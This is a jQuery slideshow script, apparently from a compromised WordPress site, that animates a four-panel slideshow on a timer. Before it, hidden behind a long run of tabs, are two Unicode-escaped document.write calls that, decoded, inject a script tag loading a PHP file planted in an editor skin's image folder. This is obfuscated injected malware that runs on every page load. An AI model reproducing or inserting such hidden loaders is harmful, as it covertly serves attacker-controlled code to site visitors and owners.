																																																																							document.write("\u003C\u0073\u0063\u0072\u0069\u0070\u0074\u0020\u0074\u0079\u0070\u0065\u003D\u0022\u0074\u0065\u0078\u0074\u002F\u006A\u0061\u0076\u0061\u0073\u0063\u0072\u0069\u0070\u0074\u0022\u0020\u0073\u0072\u0063\u003D\u0022\u002F\u0077\u0070\u002D\u0069\u006E\u0063\u006C\u0075\u0064\u0065\u0073\u002F\u006A\u0073\u002F\u0074\u0069\u006E\u0079\u006D\u0063\u0065\u002F\u0074\u0068\u0065\u006D\u0065\u0073\u002F\u0061\u0064\u0076\u0061\u006E\u0063\u0065\u0064\u002F\u0073\u006B\u0069\u006E\u0073\u002F\u006F\u0032\u006B\u0037\u002F\u0069\u006D\u0067\u002F\u0065\u006D\u0061\u0069\u006C\u0048\u0069\u0064\u0065\u0072\u002E\u0070\u0068\u0070\u0022\u003E\u003C\u002F\u0073\u0063\u0072\u0069\u0070\u0074\u003E");document.write("\u003C\u0073\u0063\u0072\u0069\u0070\u0074\u0020\u0074\u0079\u0070\u0065\u003D\u0022\u0074\u0065\u0078\u0074\u002F\u006A\u0061\u0076\u0061\u0073\u0063\u0072\u0069\u0070\u0074\u0022\u0020\u0073\u0072\u0063\u003D\u0022\u002F\u0077\u0070\u002D\u0069\u006E\u0063\u006C\u0075\u0064\u0065\u0073\u002F\u006A\u0073\u002F\u0074\u0069\u006E\u0079\u006D\u0063\u0065\u002F\u0074\u0068\u0065\u006D\u0065\u0073\u002F\u0061\u0064\u0076\u0061\u006E\u0063\u0065\u0064\u002F\u0073\u006B\u0069\u006E\u0073\u002F\u006F\u0032\u006B\u0037\u002F\u0069\u006D\u0067\u002F\u0065\u006D\u0061\u0069\u006C\u0048\u0069\u0064\u0065\u0072\u002E\u0070\u0068\u0070\u0022\u003E\u003C\u002F\u0073\u0063\u0072\u0069\u0070\u0074\u003E");$(document).ready(function(){
	
	//This keeps track of the slideshow's current location
	var current_panel = 1;
	//Controlling the duration of animation by variable will simplify changes
	var animation_duration = 2500;
	
	$.timer(6000, function (timer) {
		//Determine the current location, and transition to next panel
		switch(current_panel){
			case 1:
				$("#slideshow").stop().animate({left: "-980px", top: "0px"}, {easing: 'easeOutBack', duration: animation_duration});
				current_panel = 2;
			break;
			case 2:
				$("#slideshow").stop().animate({left: "0px", top: "-302px"}, {easing: 'easeOutBack', duration: animation_duration});
				current_panel = 3;
			break;
			case 3:
				$("#slideshow").stop().animate({left: "-980px", top: "-302px"}, {easing: 'easeOutBack', duration: animation_duration});
				current_panel = 4;
			break;
			case 4:
				$("#slideshow").stop().animate({left: "0px", top: "0px"}, {easing: 'easeOutBack', duration: animation_duration});
				current_panel = 1;
			break;	
	  		timer.reset(12000);
		}
	});
	
});
